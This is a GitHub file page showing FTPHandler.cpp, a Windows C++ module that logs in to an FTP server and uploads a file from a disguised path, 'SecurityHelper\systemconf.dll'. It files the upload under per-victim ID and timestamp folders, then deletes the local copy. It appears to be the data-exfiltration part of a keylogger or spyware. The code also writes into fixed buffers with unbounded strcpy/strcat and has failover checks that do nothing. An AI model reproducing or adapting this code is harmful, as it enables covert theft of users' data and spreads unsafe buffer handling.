-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFTPHandler.cpp
More file actions
70 lines (59 loc) · 2.18 KB
/
FTPHandler.cpp
File metadata and controls
70 lines (59 loc) · 2.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <direct.h>
#include <wininet.h>
#include <fstream>
#include <ctime>
#include "FTPHandler.h"
#include "FileHandler.h"
#include "Utils.h"
bool sendFile(std::string identification, bool firstRun){
HINTERNET hInternet;
HINTERNET hFtp;
hInternet=InternetOpen(0,INTERNET_OPEN_TYPE_DIRECT,0,0,0);
// if(hInternet == NULL) //debug...
// cout<<"\n1)Something goes wrong...\n";
// else
// cout<<"\n1)Everything is perfect...\n";
hFtp = InternetConnectA(hInternet,host.c_str(),INTERNET_DEFAULT_FTP_PORT,user.c_str(),pw.c_str(),INTERNET_SERVICE_FTP,0,0);
if(hFtp == NULL){
// try another ftp
if(hFtp == NULL){
// try another ftp
if(hFtp == NULL){
// try another ftp
}
}
}
// cout<<"\n2)Something goes wrong...\n";
// else
// cout<<"\n2)Everything is perfect...\n";
char id[100];
strcpy(id, "/htdocs/");
strcat(id, identification.c_str());
//cout << "Creada carpeta con ID " + identification << endl;
FtpCreateDirectoryW(hFtp, s2ws(id).c_str());
strcat(id, "/");
strcat(id,getCurrentDateTime(false).c_str());
FtpCreateDirectoryW(hFtp, s2ws(id).c_str());
std::string dateWithFullPath;
if (!firstRun){
dateWithFullPath="/htdocs/"+identification+"/"+getCurrentDateTime(false)+"/"+getCurrentDateTime(true)+".txt";
}
else{
dateWithFullPath="/htdocs/"+identification+"/"+getUserName();
}
char file[150];
int dateWithFullPathLength=dateWithFullPath.size();
for (int a=0;a<=dateWithFullPathLength;a++){
file[a]=dateWithFullPath[a];
}
char localFile[] = "C:\\ProgramData\\SecurityHelper\\systemconf.dll";
if(FtpPutFileW(hFtp,s2ws(localFile).c_str(),s2ws(file).c_str(),INTERNET_FLAG_TRANSFER_BINARY,0) == 1){
//cout << "\n3) Everything is perfect...\n";
remove( "C:\\ProgramData\\SecurityHelper\\systemconf.dll" );
}
// else
// cout << "\n3) Something goes wrong...";
InternetCloseHandle(hFtp);
InternetCloseHandle(hInternet);
return 0;
}